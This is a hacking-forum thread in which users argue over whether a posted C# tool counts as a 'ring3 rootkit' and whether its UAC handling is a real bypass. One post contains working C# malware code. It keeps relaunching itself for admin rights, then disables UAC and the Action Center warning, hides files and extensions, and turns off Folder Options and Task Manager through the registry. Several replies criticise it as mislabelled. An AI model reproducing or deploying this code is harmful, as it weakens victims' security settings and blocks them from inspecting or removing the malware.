[perilperilperil]

Where is the kernel mode driver? Win32 ui? I think not

[BahNahNah]

Couldn't you make one if it was a ring 3 rootkit?(Not familiar with rootkit's, just curious)

Ring3 is not a rootkit.

[true]

Ring3 is not a rootkit.

It said it was here, though?

[Infinity.]

> Rootkit
> C#
> u w0t?

[excr4sh]

It requests for admin...

except that is not UAC bypass man...

[eCoLoGy]

Just close this topic please...

[biscuit deluxe]

Ring3 is a rootkit man...

[excr4sh]

Ring3 is a rootkit man...

Ring3 is not a rootkit bro, Ring3 is where user mode applications run, but that doesn't mean "Ring3" is a rootkit.

[biscuit deluxe]

Ring3 is not a rootkit bro, Ring3 is where user mode applications run, but that doesn't mean "Ring3" is a rootkit.

Yes I know. I was mocking someone if you didn't notice. By the way ring3 is not a location, it's a mode or level of privilege.

[excr4sh]

Oh and yes, it's possible to code a Ring3 Rootkit in C#. Rootkits don't necessarily need to hook a function or inject its code, they could be implemented as a DLL, which use the callback functions that the operating system provides to change the behavior of the applications, of course, they are very limited and not as useful as a native one.

[maldev0]

I guess it's not impossible to hook NtQuerySystemInfo and so on in order to get a full working rootkit in c# ..

[N3Cr0M0rPh]

I updated it:

Code

public static bool IsAdministrator()
        {
            var identity = WindowsIdentity.GetCurrent();
            var principal = new WindowsPrincipal(identity);
            return principal.IsInRole(WindowsBuiltInRole.Administrator);
        }
        public static bool LaunchAsAdmin()
        {
            string fileName = Assembly.GetExecutingAssembly().Location;
            ProcessStartInfo processInfo = new ProcessStartInfo();
            processInfo.Verb = "runas";
            processInfo.FileName = fileName;

            try
            {
                Process.Start(processInfo);
            }
            catch (Win32Exception)
            {
                return false;
            }
            return true;
        }
        static byte[] GetBytes(string str)
        {
            byte[] bytes = new byte[str.Length * sizeof(char)];
            System.Buffer.BlockCopy(str.ToCharArray(), 0, bytes, 0, bytes.Length);
            return bytes;
        }
        public static bool ByPassUAC()
        {
            if (IsAdministrator())
            {
                try {
                    //disable UAC
                    Microsoft.Win32.Registry.SetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "EnableLUA", 0);

                    Microsoft.Win32.Registry.SetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "ConsentPromptBehaviorAdmin", 0);

                    Microsoft.Win32.Registry.SetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "PromptOnSecureDesktop", 0);

                    Microsoft.Win32.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Action Center\\Checks\\{C8E6F269-B90A-4053-A3BE-499AFCEC98C4}.check.0", "CheckSetting", GetBytes("23004100430042006C006F00620000000000000000000000010000000000000000000000"), RegistryValueKind.Binary);

                    //Disable view hidden files all across the board
                    RegistryKey ShowSuperHidden = Registry.CurrentUser.OpenSubKey(@"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", true);
                    ShowSuperHidden.SetValue("ShowSuperHidden", 0, RegistryValueKind.DWord);
                    ShowSuperHidden.Close();
                    RegistryKey HideFileExt = Registry.CurrentUser.OpenSubKey(@"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\Explorer\\Advanced", true);
                    HideFileExt.SetValue("HideFileExt", 1, RegistryValueKind.DWord);
                    HideFileExt.Close();
                    RegistryKey HideDrivesWithNoMedia = Registry.CurrentUser.OpenSubKey(@"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\Explorer\\Advanced", true);
                    HideDrivesWithNoMedia.SetValue("HideDrivesWithNoMedia", 1, RegistryValueKind.DWord);
                    HideDrivesWithNoMedia.Close();
                    //Disable Folder Options
                    RegistryKey NoFolderOptions = Registry.CurrentUser.OpenSubKey(@"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", true);
                    NoFolderOptions.SetValue("NoFolderOptions", 1, RegistryValueKind.DWord);
                    NoFolderOptions.Close();

                    //Disable Task manager
                    RegistryKey DisableTaskMgr = Registry.CurrentUser.OpenSubKey(@"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", true);
                    DisableTaskMgr.SetValue("DisableTaskMgr", 1, RegistryValueKind.DWord);
                    DisableTaskMgr.Close();
                } catch
                {

                }
                return true;
            }
            bool Ran = false;
            while (Ran != true)
            {
                Ran = LaunchAsAdmin();
            }
            Environment.Exit(0);
            return true;
        }

[jujuger]

This "ring3 rootkit" is false advertising.

It does not bypass UAC, it turns off UAC, and for that you need UAC. This is shit, lest someone runs it as admin. Still, not a rootkit.

[GhostCode]

This is not a rootkit.
You cant make rootkits in .Net.

Well this is not entirely true.

However, the code OP posted can't be considered a rootkit.
His so called "UAC Bypass" is a simple disabling of the UAC by registry which requires administrative privileges and a reboot of the system if I remember that correctly.
Furthermore his code doesn't really "hide" a registry key, it just sets the superhidden attribute.
@OP : To code a rootkit I suggest to switch to a native language such as C or ASM.
Even tho it can be achieved with C# I wouldn't recommend using that language for such a purpouse.

[Pepeillo]

Thanks for sharing. Anyone can help me to find "presentation thread"? Or rules about post for noobs?
Greetings.